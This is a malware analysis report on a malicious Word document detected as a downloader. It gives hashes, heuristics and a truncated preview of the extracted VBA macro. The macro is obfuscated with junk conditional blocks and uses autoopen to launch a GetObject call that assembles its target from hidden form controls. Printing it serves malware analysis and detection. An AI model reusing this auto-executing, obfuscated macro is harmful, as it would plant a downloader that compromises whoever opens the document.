Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be3707eecc4a37d4…

MALICIOUS

Office (OLE)

201.2 KB Created: 2019-04-03 15:14:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 183b113f33bc238af5ca439c070db2f1 SHA-1: 7a6b742a55f0b90373146cae0fc7aa00e5a91eb7 SHA-256: be3707eecc4a37d4d37be65c2948ae76ab42ab95b86d1152da1fb60356e175df
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'autoopen' subroutine is present, and heuristics indicate the execution of a GetObject call, suggesting the macro is designed to run automatically upon opening. The ClamAV detection name 'Doc.Downloader.Sagent-6931261-0' strongly implies a downloader functionality, likely to fetch and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-6931261-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6931261-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21880 bytes
SHA-256: 940100083f7657edc02c25572e4a9df1d0e78597f0594a3a54d0d98b9e9571f8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FADx_AB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "P1CDUQ"
Attribute VB_Base = "0{6E6A28C0-3AB0-4ABC-A223-04F801227DEF}{2F9B6F60-4250-4B17-A732-56B29D84AB75}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kAA4wBAD"
Attribute VB_Base = "0{21B2F061-3648-43C9-B151-97EDC1F15EA9}{5D9C371D-AE93-476A-B50C-0D1FC66AA1CC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TAQA4A"
Function aCU4Xk()
   If 804122234 = 455355484 Then
   VA4AAU _
= 131012279 - Asc(193038346) / 15415123 / _
552733587 * 242041119 - Rnd(q1x1QQ / CVar(389542237))
   cC_DBDA = jQGDAxAZ + _
Int(91161083) * wZAGDA - SxCxcx + (93403172 * 674609022)
End If
   If 184916761 = 873739349 Then
   tokACA _
= 299105530 - Asc(911615042) / 704186968 / _
488848136 * 846717808 - Rnd(zABZAA / CVar(828424368))
   BCGGwA = YBwCAkGU + _
Int(731838214) * WBcCABBG - rABAUBA + (596301302 * 252881902)
End If
   If 352183678 = 5257107 Then
   CAAQGwDX _
= 236523030 - Asc(731960702) / 297682107 / _
175916880 * 272608301 - Rnd(iwZBAXA / CVar(592233363))
   XXXQcBkD = uDw4AA + _
Int(298575837) * Po4wUAo - iAwAAQ + (214261850 * 20308167)
End If
End Function
Sub autoopen()
sAGcQU4
End Sub
Function sAGcQU4()
On Error Resume Next
   If 185472138 = 568074380 Then
   z4BQUQxk _
= 798673226 - Asc(83523597) / 91260693 / _
927102597 * 441782684 - Rnd(NDCAxoAx / CVar(574980968))
   iUABCwkA = OUA1AAk + _
Int(853164601) * fCAAAwk - IBcZUkAA + (241409861 * 148530622)
End If
   If 446413764 = 743317482 Then
   vAGQDc _
= 14843261 - Asc(333322542) / 827557919 / _
463813690 * 874034459 - Rnd(KxX4QA / CVar(729420678))
   jDcAQw = NXkG4BA + _
Int(365909287) * iBACACDX - vG4AUoAB + (795615282 * 56173127)
End If
Set AC1QAA4G = GetObject(P1CDUQ.V1xAA4AQ.Text + kAA4wBAD.wADDDwAw + P1CDUQ.V1xAA4AQ.ControlSource)
   If 557923183 = 326083491 Then
   pA4AkkxD _
= 692136250 - Asc(236939071) / 305232987 / _
524601102 * 518085385 - Rnd(VAoBwQ_ / CVar(259521323))
   VAoQUQ = U4cQxA + _
Int(890085211) * TABQcc - NGQoAA_w + (431770463 * 698923010)
End If
   If 522712418 = 381107864 Then
   F_Ao1wA _
= 729971347 - Asc(423068425) / 370233733 / _
86592715 * 233379510 - Rnd(zwxQAQ / CVar(148850870))
   CAUoAUAA = GQAUUX + _
Int(566950415) * zwAwAAAo - Dw_AU14A + (341529225 * 830451428)
End If
If 839425 = 839425 Then
   If 696838294 = 118360957 Then
   wABCwCD _
= 8977683 - Asc(931212011) / 543284403 / _
30351903 * 866915704 - Rnd(W1cQZCwB / CVar(630366485))
   OAQUAc = cADAQx + _
Int(454970456) * dBoUkAZ - I4BwDQAG + (963825142 * 336200655)
End If
   If 560684748 = 499936988 Then
   JcXABB _
= 501462280 - Asc(270185363) / 390905479 / _
923827650 * 704212366 - Rnd(HQkAAD / CVar(34995793))
   RAwAGDB = u_AwADG1 + _
Int(547248963) * OoZUAAAU - HAD4AkA + (942210142 * 896080398)
End If
   If 979791606 = 97706843 Then
   VAAAADB _
= 400043364 - Asc(482196343) / 156762356 / _
826018658 * 117948113 - Rnd(sBxDwCD / CVar(994127681))
   WADGoUG = qZGwQ_ + _
Int(765134456) * DX1UAGUk - tCxAAXcD + (266345749 * 887278502)
End If
AC1QAA4G. _
ShOwWiNdOw = P1CDUQ.PGAA1AXQ - P1CDUQ.PGAA1AXQ + P1CDUQ.PGAA1AXQ + P1CDUQ.PGAA1AXQ + P1CDUQ.PGAA1AXQ
   If 917993588 = 717391912 Then
   GQACQAAc _
= 426222297 - Asc(19063691) / 474859413 / _
267773828 * 28666785 - Rnd(jAAACB / CVar(788952038))
   NDAwXw = ixQGADU + _
Int(216363289) * FA1AA1AA - c_cA_XG + (446533397 * 188222115)
End If
   If 405224383 = 794566321 Then
   GBDcA1Cc _
= 986400084 - Asc
... (truncated)